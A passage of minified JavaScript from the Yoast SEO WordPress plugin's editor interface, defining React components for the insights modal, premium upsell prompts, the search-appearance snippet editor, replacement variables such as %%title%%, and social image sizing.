l=Mr(t.element,t.tokenStart,t.tokenLength,n+a);return l.children=t.children,Nr(l),Ar=n+a,!0;default:return qr(),!1}}const $r=(e,t)=>{if(Pr=e,Ar=0,Or=[],Fr=[],Dr.lastIndex=0,!(e=>{const t="object"==typeof e,s=t&&Object.values(e);return t&&s.length&&s.every((e=>(0,u.isValidElement)(e)))})(t))throw new TypeError("The conversionMap provided is not valid. It must be an object with values that are WPElements");do{}while(Ur(t));return(0,u.createElement)(u.Fragment,null,...Or)},Br=({data:e,itemScreenReaderText:t,className:s,...r})=>{const n=(0,u.useMemo)((()=>{var t,s;return null!==(t=null===(s=(0,T.maxBy)(e,"number"))||void 0===s?void 0:s.number)&&void 0!==t?t:0}),[e]);return(0,c.createElement)("ul",{className:Bt()("yoast-data-model",s),...r},e.map((({name:e,number:s})=>(0,c.createElement)("li",{key:`${e}_dataItem`,style:{"--yoast-width":s/n*100+"%"}},e,(0,c.createElement)("span",null,s),t&&(0,c.createElement)("span",{className:"screen-reader-text"},(0,m.sprintf)(t,s))))))};Br.propTypes={data:y().arrayOf(y().shape({name:y().string.isRequired,number:y().number.isRequired})),itemScreenReaderText:y().string,className:y().string},Br.defaultProps={data:[],itemScreenReaderText:"",className:""};const Wr=Br,Kr=(0,Ht.makeOutboundLink)(),Yr=({location:e})=>{const t=(0,i.useSelect)((e=>{var t,s;return null===(t=null===(s=e("yoast-seo-premium/editor"))||void 0===s?void 0:s.getPreference("isProminentWordsAvailable",!1))||void 0===t||t}),[]),s=(0,i.useSelect)((e=>e("yoast-seo/editor").getPreference("shouldUpsell",!1)),[]),r=(0,u.useMemo)((()=>(0,T.get)(window,`wpseoAdminL10n.shortlinks-insights-upsell-${e}-prominent_words`,"")),[e]),n=(0,u.useMemo)((()=>{const e=(0,T.get)(window,"wpseoAdminL10n.shortlinks-insights-keyword_research_link","");return $r((0,m.sprintf)(
// translators: %1$s and %2$s are replaced by opening and closing <a> tags.
(0,m.__)("Read our %1$sultimate guide to keyword research%2$s to learn more about keyword research and keyword strategy.","wordpress-seo"),"<a>","</a>"),{a:(0,c.createElement)(Kr,{href:e})})}),[]),a=(0,u.useMemo)((()=>$r((0,m.sprintf)(
// translators: %1$s expands to a starting `b` tag, %1$s expands to a closing `b` tag and %3$s expands to `Yoast SEO Premium`.
(0,m.__)("With %1$s%3$s%2$s, this section will show you which words occur most often in your text. By checking these prominent words against your intended keyword(s), you'll know how to edit your text to be more focused.","wordpress-seo"),"<b>","</b>","Yoast SEO Premium"),{b:(0,c.createElement)("b",null)})),[]),o=(0,i.useSelect)((e=>{var t,s;return null!==(t=null===(s=e("yoast-seo-premium/editor"))||void 0===s?void 0:s.getProminentWords())&&void 0!==t?t:[]}),[]),l=(0,u.useMemo)((()=>{const e=(0,m.sprintf)(
// translators: %1$s expands to Yoast SEO Premium.
(0,m.__)("Get %s to enjoy the benefits of prominent words","wordpress-seo"),"Yoast SEO Premium").split(/\s+/);return e.map(((t,s)=>({name:t,number:e.length-s})))}),[]),d=(0,u.useMemo)((()=>s?l:o.map((({word:e,occurrence:t})=>({name:e,number:t})))),[o,l]);if(!t)return null;const{locationContext:p}=(0,gt.useRootContext)();return(0,c.createElement)("div",{className:"yoast-prominent-words"},(0,c.createElement)("div",{className:"yoast-field-group__title"},(0,c.createElement)("b",null,(0,m.__)("Prominent words","wordpress-seo"))),!s&&(0,c.createElement)("p",null,0===d.length?(0,m.__)("Once you add a bit more copy, we'll give you a list of words that occur the most in the content. These give an indication of what your content focuses on.","wordpress-seo"):(0,m.__)("The following words occur the most in the content. These give an indication of what your content focuses on. If the words differ a lot from your topic, you might want to rewrite your content accordingly.","wordpress-seo")),s&&(0,c.createElement)("p",null,a),s&&(0,c.createElement)(Kr,{href:(0,Ut.addQueryArgs)(r,{context:p}),"data-action":"load-nfd-ctb","data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2",className:"yoast-button yoast-button-upsell"},(0,m.sprintf)(
// translators: %s expands to `Premium` (part of add-on name).
(0,m.__)("Unlock with %s","wordpress-seo"),"Premium"),(0,c.createElement)("span",{"aria-hidden":"true",className:"yoast-button-upsell__caret"})),(0,c.createElement)("p",null,n),(0,c.createElement)(Wr,{data:d,itemScreenReaderText:/* translators: Hidden accessibility text; %d expands to the number of occurrences. */
(0,m.__)("%d occurrences","wordpress-seo"),"aria-label":(0,m.__)("Prominent words","wordpress-seo"),className:s?"yoast-data-model--upsell":null}))};Yr.propTypes={location:y().string.isRequired};const jr=Yr,zr=(0,Ht.makeOutboundLink)(),Hr=({location:e})=>{const t=(0,u.useMemo)((()=>(0,T.get)(window,`wpseoAdminL10n.shortlinks-insights-upsell-${e}-text_formality`,"")),[e]),s=(0,u.useMemo)((()=>$r((0,m.sprintf)(
// Translators: %1$s expands to a starting `b` tag, %2$s expands to a closing `b` tag and %3$s expands to `Yoast SEO Premium`.
(0,m.__)("%1$s%3$s%2$s will help you assess the formality level of your text.","wordpress-seo"),"<b>","</b>","Yoast SEO Premium"),{b:(0,c.createElement)("b",null)})),[]);return(0,c.createElement)(u.Fragment,null,(0,c.createElement)("div",null,(0,c.createElement)("p",null,s),(0,c.createElement)(zr,{href:t,className:"yoast-button yoast-button-upsell"},(0,m.sprintf)(
// Translators: %s expands to `Premium` (part of add-on name).
(0,m.__)("Unlock with %s","wordpress-seo"),"Premium"),(0,c.createElement)("span",{"aria-hidden":"true",className:"yoast-button-upsell__caret"}))))};Hr.propTypes={location:y().string.isRequired};const Vr=Hr,Gr=({location:e,name:t})=>{const s=(0,i.useSelect)((e=>e("yoast-seo/editor").isFormalitySupported()),[]),r=ve().isPremium,n=r?(0,T.get)(window,"wpseoAdminL10n.shortlinks-insights-text_formality_info_premium",""):(0,T.get)(window,"wpseoAdminL10n.shortlinks-insights-text_formality_info_free",""),a=(0,m.__)("Read more about text formality.","wordpress-seo");return s?(0,c.createElement)("div",{className:"yoast-text-formality"},(0,c.createElement)("div",{className:"yoast-field-group__title"},(0,c.createElement)("b",null,(0,m.__)("Text formality","wordpress-seo")),(0,c.createElement)(Yt.HelpIcon,{linkTo:n,linkText:a})),r?(0,c.createElement)(p.Slot,{name:t}):(0,c.createElement)(Vr,{location:e})):null};Gr.propTypes={location:y().string.isRequired,name:y().string.isRequired};const Zr=Gr,Qr=()=>{const e=(0,i.useSelect)((e=>e("yoast-seo/editor").getTextLength()),[]),t=(0,u.useMemo)((()=>(0,T.get)(window,"wpseoAdminL10n.shortlinks-insights-word_count","")),[]);let s=(0,m._n)("word","words",e.count,"wordpress-seo"),r=(0,m.__)("Word count","wordpress-seo"),n=(0,m.__)("Learn more about word count","wordpress-seo");return"character"===e.unit&&(s=(0,m._n)("character","characters",e.count,"wordpress-seo"),r=(0,m.__)("Character count","wordpress-seo"),
/* translators: Hidden accessibility text. */
n=(0,m.__)("Learn more about character count","wordpress-seo")),(0,c.createElement)(Yt.InsightsCard,{amount:e.count,unit:s,title:r,linkTo:t,linkText:n})},Xr=ht()(vr)`
	width: 18px;
	height: 18px;
	margin: 3px;
`,Jr=({location:e})=>{const t=(0,i.useSelect)((e=>e("yoast-seo/editor").getIsElementorEditor()),[]),s=(0,i.useSelect)((e=>e("yoast-seo/editor").isFleschReadingEaseAvailable()),[]),r=kr();return(0,c.createElement)(Rr,{title:(0,m.__)("Insights","wordpress-seo"),id:`yoast-insights-modal-${e}`,shouldCloseOnClickOutside:!t,showChangesWarning:!1,SuffixHeroIcon:(0,c.createElement)(Xr,{className:"yst-text-slate-500",...r})},(0,c.createElement)("div",{className:"yoast-insights yoast-modal-content--columns"},(0,c.createElement)(jr,{location:e}),(0,c.createElement)("div",null,s&&(0,c.createElement)("div",{className:"yoast-insights-row"},(0,c.createElement)(Lr,null)),(0,c.createElement)("div",{className:"yoast-insights-row yoast-insights-row--columns"},(0,c.createElement)(Tr,null),(0,c.createElement)(Qr,null)),(0,Te.isFeatureEnabled)("TEXT_FORMALITY")&&(0,c.createElement)(Zr,{location:e,name:"YoastTextFormalityMetabox"}))))};Jr.propTypes={location:y().string},Jr.defaultProps={location:"sidebar"};const en=Jr;function tn(e){return 0===e.message.length?null:(0,c.createElement)(Yt.Alert,{type:e.type},e.message)}tn.propTypes={message:y().oneOfType([y().array,y().string]).isRequired,type:y().string.isRequired};const sn=(0,i.withSelect)((e=>{const{getWarningMessage:t}=e("yoast-seo/editor");return{message:t(),type:"info"}}))(tn),rn=({children:e})=>(0,c.createElement)("div",null,e);rn.propTypes={renderPriority:y().number.isRequired,children:y().node.isRequired};const nn=rn,an=c.forwardRef((function(e,t){return c.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:t},e),c.createElement("path",{fillRule:"evenodd",d:"M8 4a4 4 0 100 8 4 4 0 000-8zM2 8a6 6 0 1110.89 3.476l4.817 4.817a1 1 0 01-1.414 1.414l-4.816-4.816A6 6 0 012 8z",clipRule:"evenodd"}))})),on=window.yoast.searchMetadataPreviews,ln=ht()(Yt.StyledSection)`
	&${Yt.StyledSectionBase} {
		padding: 0;

		& ${Yt.StyledHeading} {
			${(0,Ht.getDirectionalStyle)("padding-left","padding-right")}: 20px;
			margin-left: ${(0,Ht.getDirectionalStyle)("0","20px")};
		}
	}
`,cn=({children:e,title:t,icon:s,hasPaperStyle:r,shoppingData:n})=>(0,c.createElement)(ln,{headingLevel:3,headingText:t,headingIcon:s,headingIconColor:"#555",hasPaperStyle:r,shoppingData:n},e);cn.propTypes={children:y().element,title:y().string,icon:y().string,hasPaperStyle:y().bool,shoppingData:y().object},cn.defaultProps={hasPaperStyle:!0,shoppingData:null};const dn=cn,pn=window.wp.sanitize,{stripHTMLTags:un}=Ht.strings,mn=(0,T.memoize)(((e,t)=>0===e?T.noop:(0,T.debounce)((s=>t(s,e)),500))),hn=({link:e,text:t})=>(0,c.createElement)(h.Root,null,(0,c.createElement)("p",null,t),(0,c.createElement)(h.Button,{href:e,as:"a",className:"yst-gap-2 yst-mb-5 yst-mt-2",variant:"upsell",target:"_blank",rel:"noopener"},(0,c.createElement)(f,{className:"yst-w-4 yst-h-4 yst--ml-1 yst-shrink-0"}),(0,m.sprintf)(/* translators: %1$s expands to Yoast WooCommerce SEO. */
(0,m.__)("Unlock with %1$s","wordpress-seo"),"Yoast WooCommerce SEO")));hn.propTypes={link:y().string.isRequired,text:y().string.isRequired};const gn=hn,yn=function(e,t){let s=0;return t.shortenedBaseUrl&&"string"==typeof t.shortenedBaseUrl&&(s=t.shortenedBaseUrl.length),e.url=e.url.replace(/\s+/g,"-"),"-"===e.url[e.url.length-1]&&(e.url=e.url.slice(0,-1)),"-"===e.url[s]&&(e.url=e.url.slice(0,s)+e.url.slice(s+1)),function(e){const t=(0,T.get)(window,["YoastSEO","app","pluggable"],!1);if(!t||!(0,T.get)(window,["YoastSEO","app","pluggable","loaded"],!1))return function(e){const t=(0,T.get)(window,["YoastSEO","wp","replaceVarsPlugin","replaceVariables"],T.identity);return{url:e.url,title:un(t(e.title)),description:un(t(e.description)),filteredSEOTitle:e.filteredSEOTitle?un(t(e.filteredSEOTitle)):""}}(e);const s=t._applyModifications.bind(t);return{url:e.url,title:un(s("data_page_title",e.title)),description:un(s("data_meta_desc",e.description)),filteredSEOTitle:e.filteredSEOTitle?un(s("data_page_title",e.filteredSEOTitle)):""}}(e)},fn=(0,qt.compose)([(0,i.withSelect)((function(e){const{getBaseUrlFromSettings:t,getDateFromSettings:s,getFocusKeyphrase:r,getRecommendedReplaceVars:n,getReplaceVars:a,getShoppingData:o,getSiteIconUrlFromSettings:i,getSnippetEditorData:l,getSnippetEditorMode:c,getSnippetEditorPreviewImageUrl:d,getSnippetEditorWordsToHighlight:p,isCornerstoneContent:u,getIsTerm:m,getContentLocale:h,getSiteName:g}=e("yoast-seo/editor"),y=a();return y.forEach((e=>{""!==e.value||["title","excerpt","excerpt_only"].includes(e.name)||(e.value="%%"+e.name+"%%")})),{baseUrl:t(),data:l(),date:s(),faviconSrc:i(),keyword:r(),mobileImageSrc:d(),mode:c(),recommendedReplacementVariables:n(),replacementVariables:y,shoppingData:o(),wordsToHighlight:p(),isCornerstone:u(),isTaxonomy:m(),locale:h(),siteName:g()}})),(0,i.withDispatch)((function(e,t,{select:s}){const{updateData:r,switchMode:n,updateAnalysisData:a,findCustomFields:o}=e("yoast-seo/editor"),i=e("core/editor"),l=s("yoast-seo/editor").getPostId();return{onChange:(e,t)=>{switch(e){case"mode":n(t);break;case"slug":r({slug:t}),i&&i.editPost({slug:t});break;default:r({[e]:t})}},onChangeAnalysisData:a,onReplacementVariableSearchChange:mn(l,o)}}))])((e=>{const t=(0,i.useSelect)((e=>e("yoast-seo/editor").selectLink("https://yoa.st/product-google-preview-metabox")),[]),s=(0,i.useSelect)((e=>e("yoast-seo/editor").getIsWooSeoUpsell()),[]),r=(0,m.__)("Want an enhanced Google preview of how your WooCommerce products look in the search results?","wordpress-seo");return(0,c.createElement)(gt.LocationConsumer,null,(n=>(0,c.createElement)(dn,{icon:"eye",hasPaperStyle:e.hasPaperStyle},(0,c.createElement)(c.Fragment,null,s&&(0,c.createElement)(gn,{link:t,text:r}),(0,c.createElement)(on.SnippetEditor,{...e,descriptionPlaceholder:(0,m.__)("Please provide a meta description by editing the snippet below.","wordpress-seo"),mapEditorDataToPreview:yn,showCloseButton:!1,idSuffix:n})))))})),wn={name:"author_first_name",label:"Author first name",placeholder:"%%author_first_name%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.author_first_name","")},regexp:new RegExp("%%author_first_name%%","g")},bn={name:"author_last_name",label:"Author last name",placeholder:"%%author_last_name%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.author_last_name","")},regexp:new RegExp("%%author_last_name%%","g")},En={name:"currentdate",label:"Current date",placeholder:"%%currentdate%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.currentdate","")},regexp:new RegExp("%%currentdate%%","g")},vn={name:"currentday",label:"Current day",placeholder:"%%currentday%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.currentday","")},regexp:new RegExp("%%currentday%%","g")},kn={name:"currentmonth",label:"Current month",placeholder:"%%currentmonth%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.currentmonth","")},regexp:new RegExp("%%currentmonth%%","g")},xn={name:"category",label:"Category",placeholder:"%%category%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.category","")},regexp:new RegExp("%%category%%","g")},Sn={name:"category_title",label:"Category Title",placeholder:"%%category_title%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.category_title","")},regexp:new RegExp("%%category_title%%","g")},Rn={name:"currentyear",label:"Current year",placeholder:"%%currentyear%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.currentyear","")},regexp:new RegExp("%%currentyear%%","g")},Tn={name:"date",label:"Date",placeholder:"%%date%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.date","")},regexp:new RegExp("%%date%%","g")},Cn={name:"excerpt",label:"Excerpt",placeholder:"%%excerpt%%",aliases:[{name:"excerpt_only",label:"Excerpt only",placeholder:"%%excerpt_only%%"}],getReplacement:function(){return(0,i.select)("yoast-seo/editor").getEditorDataExcerptWithFallback()},regexp:new RegExp("%%excerpt%%|%%excerpt_only%%","g")},In={name:"focuskw",label:"Focus keyphrase",placeholder:"%%focuskw%%",aliases:[],getReplacement:function(){return(0,i.select)("yoast-seo/editor").getFocusKeyphrase()},regexp:new RegExp("%%focuskw%%|%%keyword%%","g")},Ln={name:"id",label:"ID",placeholder:"%%id%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.id","")},regexp:new RegExp("%%id%%","g")},Pn={name:"modified",label:"Modified",placeholder:"%%modified%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.modified","")},regexp:new RegExp("%%modified%%","g")},An={name:"name",label:"Name",placeholder:"%%name%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.name","")},regexp:new RegExp("%%name%%","g")},On={name:"page",label:"Page",placeholder:"%%page%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.page","")},regexp:new RegExp("%%page%%","g")},Fn={name:"pagenumber",label:"Pagenumber",placeholder:"%%pagenumber%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.pagenumber","")},regexp:new RegExp("%%pagenumber%%","g")},Dn={name:"pagetotal",label:"Pagetotal",placeholder:"%%pagetotal%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.pagetotal","")},regexp:new RegExp("%%pagetotal%%","g")},Mn={name:"permalink",label:"Permalink",placeholder:"%%permalink%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.permalink","")},regexp:new RegExp("%%permalink%%","g")},qn={name:"post_content",label:"Post Content",placeholder:"%%post_content%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.post_content","")},regexp:new RegExp("%%post_content%%","g")},Nn={name:"post_day",label:"Post Day",placeholder:"%%post_day%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.post_day","")},regexp:new RegExp("%%post_day%%","g")},Un={name:"post_month",label:"Post Month",placeholder:"%%post_month%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.post_month","")},regexp:new RegExp("%%post_month%%","g")},$n={name:"post_year",label:"Post Year",placeholder:"%%post_year%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.post_year","")},regexp:new RegExp("%%post_year%%","g")},Bn={name:"pt_plural",label:"Post type (plural)",placeholder:"%%pt_plural%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.pt_plural","")},regexp:new RegExp("%%pt_plural%%","g")},Wn={name:"pt_single",label:"Post type (singular)",placeholder:"%%pt_single%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.pt_single","")},regexp:new RegExp("%%pt_single%%","g")},Kn={name:"primary_category",label:"Primary category",placeholder:"%%primary_category%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.primary_category","")},regexp:new RegExp("%%primary_category%%","g")},Yn={name:"searchphrase",label:"Search phrase",placeholder:"%%searchphrase%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.searchphrase","")},regexp:new RegExp("%%searchphrase%%","g")},jn={name:"sep",label:"Separator",placeholder:"%%sep%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.sep","")},regexp:new RegExp("%%sep%%(\\s*%%sep%%)*","g")},zn={name:"sitedesc",label:"Tagline",placeholder:"%%sitedesc%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.sitedesc","")},regexp:new RegExp("%%sitedesc%%","g")},Hn={name:"sitename",label:"Site title",placeholder:"%%sitename%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.sitename","")},regexp:new RegExp("%%sitename%%","g")},Vn={name:"tag",label:"Tag",placeholder:"%%tag%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.tag","")},regexp:new RegExp("%%tag%%","g")},Gn={name:"term404",label:"Term404",placeholder:"%%term404%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.term404","")},regexp:new RegExp("%%term404%%","g")},Zn={name:"term_description",label:"Term description",placeholder:"%%term_description%%",aliases:[{name:"tag_description",label:"Tag description",placeholder:"%%tag_description%%"},{name:"category_description",label:"Category description",placeholder:"%%category_description%%"}],getReplacement:function(){return(0,T.get)(window,"YoastSEO.app.rawData.text","")},regexp:new RegExp("%%term_description%%|%%tag_description%%|%%category_description%%","g")},Qn={name:"term_hierarchy",label:"Term hierarchy",placeholder:"%%term_hierarchy%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.term_hierarchy","")},regexp:new RegExp("%%term_hierarchy%%","g")},Xn={name:"term_title",label:"Term title",placeholder:"%%term_title%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.term_title","")},regexp:new RegExp("%%term_title%%","g")},Jn={name:"title",label:"Title",placeholder:"%%title%%",aliases:[],getReplacement:function(){return(0,i.select)("yoast-seo/editor").getEditorDataTitle()},regexp:new RegExp("%%title%%","g")},ea={name:"user_description",label:"User description",placeholder:"%%user_description%%",aliases:[],getReplacement:function(){return(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.user_description","")},regexp:new RegExp("%%user_description%%","g")};var ta={source:"wpseoScriptData.analysis.plugins.replaceVars",scope:[],aliases:[]},sa=function(e,t,s){this.placeholder=e,this.replacement=t,this.options=(0,T.defaults)(s,ta)};sa.prototype.getPlaceholder=function(e){return(e=e||!1)&&this.hasAlias()?this.placeholder+"|"+this.getAliases().join("|"):this.placeholder},sa.prototype.setSource=function(e){this.options.source=e},sa.prototype.hasScope=function(){return!(0,T.isEmpty)(this.options.scope)},sa.prototype.addScope=function(e){this.hasScope()||(this.options.scope=[]),this.options.scope.push(e)},sa.prototype.inScope=function(e){return!this.hasScope()||(0,T.indexOf)(this.options.scope,e)>-1},sa.prototype.hasAlias=function(){return!(0,T.isEmpty)(this.options.aliases)},sa.prototype.addAlias=function(e){this.hasAlias()||(this.options.aliases=[]),this.options.aliases.push(e)},sa.prototype.getAliases=function(){return this.options.aliases};const ra=sa,na="replaceVariablePlugin";let aa=null,oa=null;const ia=e=>{["content","title","snippet_title","snippet_meta","primary_category","data_page_title","data_meta_desc","excerpt"].forEach((t=>{Oe(t,e,na,10)}))},la=(e="")=>{switch(""===e&&(e=(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.scope","")),e){case"post":case"page":return["authorFirstName","authorLastName","category","categoryTitle","currentDate","currentDay","currentMonth","currentYear","date","excerpt","id","focusKeyphrase","modified","name","page","primaryCategory","pageNumber","pageTotal","permalink","postContent","postDay","postMonth","postYear","postTypeNamePlural","postTypeNameSingular","searchPhrase","separator","siteDescription","siteName","tag","title","userDescription"]}return[]},ca=e=>ia((t=>t.replace(new RegExp(e.placeholder,"g"),e.replacement))),da=()=>{if(null===oa){oa=[];const t=(0,T.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.hidden_replace_vars",[]);(null===aa&&(aa=la().map((t=>null==e?void 0:e[t])).filter(Boolean)),aa).forEach((e=>{const s=t.includes(e.name);oa.push({name:e.name,label:e.label,value:e.placeholder,hidden:s}),e.aliases.forEach((e=>{oa.push({name:e.name,label:e.label,value:e.placeholder,hidden:s})}))}))}return oa},{stripHTMLTags:pa}=Ht.strings,ua=(e,t)=>{const s=(0,i.select)("yoast-seo/editor").getSnippetEditorTemplates();""===e.title&&(e.title=s.title),""===e.description&&(e.description=s.description);let r=0;return t.shortenedBaseUrl&&"string"==typeof t.shortenedBaseUrl&&(r=t.shortenedBaseUrl.length),e.url=e.url.replace(/\s+/g,"-"),"-"===e.url[e.url.length-1]&&(e.url=e.url.slice(0,-1)),"-"===e.url[r]&&(e.url=e.url.slice(0,r)+e.url.slice(r+1)),{url:e.url,title:pa(De("data_page_title",e.title)),description:pa(De("data_meta_desc",e.description)),filteredSEOTitle:pa(De("data_page_title",e.filteredSEOTitle))}},ma=({isLoading:e,onLoad:t,location:s,...r})=>((0,u.useEffect)((()=>{setTimeout((()=>{e&&t()}))})),e?null:(0,c.createElement)(dn,{icon:"eye",hasPaperStyle:r.hasPaperStyle},(0,c.createElement)(on.SnippetEditor,{...r,descriptionPlaceholder:(0,m.__)("Please provide a meta description by editing the snippet below.","wordpress-seo"),mapEditorDataToPreview:ua,showCloseButton:!1,idSuffix:s})));ma.propTypes={isLoading:y().bool.isRequired,onLoad:y().func.isRequired,hasPaperStyle:y().bool.isRequired,location:y().string.isRequired};const ha=(0,qt.compose)([(0,i.withSelect)((e=>{const{getBaseUrlFromSettings:t,getDateFromSettings:s,getEditorDataImageUrl:r,getFocusKeyphrase:n,getRecommendedReplaceVars:a,getSiteIconUrlFromSettings:o,getSnippetEditorData:i,getSnippetEditorIsLoading:l,getSnippetEditorMode:c,getSnippetEditorWordsToHighlight:d,isCornerstoneContent:p,getContentLocale:u,getSiteName:m}=e("yoast-seo/editor");return{baseUrl:t(),data:i(),date:s(),faviconSrc:o(),isLoading:l(),keyword:n(),mobileImageSrc:r(),mode:c(),recommendedReplacementVariables:a(),replacementVariables:da(),wordsToHighlight:d(),isCornerstone:p(),locale:u(),siteName:m()}})),(0,i.withDispatch)((e=>{const{updateData:t,switchMode:s,updateAnalysisData:r,loadSnippetEditorData:n}=e("yoast-seo/editor");return{onChange:(e,r)=>{switch(e){case"mode":s(r);break;case"slug":t({slug:r});break;default:t({[e]:r})}},onChangeAnalysisData:r,onLoad:n}})),us()])(ma),ga=ht()(an)`
	width: 18px;
	height: 18px;
	margin: 3px;
`,ya=()=>{const e=kr(),t=(0,i.useSelect)((e=>e("yoast-seo/editor").getIsElementorEditor()),[]);return(0,c.createElement)(Rr,{title:(0,m.__)("Search appearance","wordpress-seo"),id:"yoast-search-appearance-modal",shouldCloseOnClickOutside:!1,SuffixHeroIcon:(0,c.createElement)(ga,{className:"yst-text-slate-500",...e})},!0===t&&(0,c.createElement)(ha,{showCloseButton:!1,hasPaperStyle:!1}),!1===t&&(0,c.createElement)(fn,{showCloseButton:!1,hasPaperStyle:!1}))},fa=c.forwardRef((function(e,t){return c.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:t},e),c.createElement("path",{d:"M15 8a3 3 0 10-2.977-2.63l-4.94 2.47a3 3 0 100 4.319l4.94 2.47a3 3 0 10.895-1.789l-4.94-2.47a3.027 3.027 0 000-.74l4.94-2.47C13.456 7.68 14.19 8 15 8z"}))})),wa=ht().p`
	color: #606770;
	flex-shrink: 0;
	font-size: 12px;
	line-height: 16px;
	overflow: hidden;
	padding: 0;
	text-overflow: ellipsis;
	text-transform: uppercase;
	white-space: nowrap;
	margin: 0;
	position: ${e=>"landscape"===e.mode?"relative":"static"};
`,ba=e=>{const{siteUrl:t}=e;return(0,c.createElement)(c.Fragment,null,(0,c.createElement)("span",{className:"screen-reader-text"},t),(0,c.createElement)(wa,{"aria-hidden":"true"},(0,c.createElement)("span",null,t)))};ba.propTypes={siteUrl:y().string.isRequired};const Ea=ba,_a=window.yoast.socialMetadataForms,va=window.yoast.styleGuide,ka=ht().img`
	&& {
		max-width: ${e=>e.width}px;
		height: ${e=>e.height}px;
		position: absolute;
		top: 50%;
		left: 50%;
		transform: translate(-50%, -50%);
		max-width: none;
	}
`,xa=ht().img`
	&&{
		height: 100%;
		position: absolute;
		width: 100%;
		object-fit: cover;
	}
`,Sa=ht().div`
	padding-bottom: ${e=>e.aspectRatio}%;
`,Ra=e=>{const{imageProps:t,width:s,height:r,imageMode:n}=e;return"landscape"===n?(0,c.createElement)(Sa,{aspectRatio:t.aspectRatio},(0,c.createElement)(xa,{src:t.src,alt:t.alt})):(0,c.createElement)(ka,{src:t.src,alt:t.alt,width:s,height:r,imageProperties:t})};function Ta(e,t,s){return"landscape"===s?{widthRatio:t.width/e.landscapeWidth,heightRatio:t.height/e.landscapeHeight}:"portrait"===s?{widthRatio:t.width/e.portraitWidth,heightRatio:t.height/e.portraitHeight}:{widthRatio:t.width/e.squareWidth,heightRatio:t.height/e.squareHeight}}function Ca(e,t){return t.widthRatio<=t.heightRatio?{width:Math.round(e.width/t.widthRatio),height:Math.round(e.height/t.widthRatio)}:{width:Math.round(e.width/t.heightRatio),height:Math.round(e.height/t.heightRatio)}}async function Ia(e,t,s=!1){const r=await function(e){return new Promise(((t,s)=>{const r=new Image;r.onload=()=>{t({width:r.width,height:r.height})},r.onerror=s,r.src=e}))}(e);let n=s?"landscape":"square";"Facebook"===t&&(n=(0,_a.determineFacebookImageMode)(r));const a=function(e){return"Twitter"===e?_a.TWITTER_IMAGE_SIZES:_a.FACEBOOK_IMAGE_SIZES}(t),o=function(e,t,s){return"square"===s&&t.width===t.height?{width:e.squareWidth,height:e.squareHeight}:Ca(t,Ta(e,t,s))}(a,r,n);return{mode:n,height:o.height,width:o.width}}async function La(e,t,s=!1){try{return{imageProperties:await 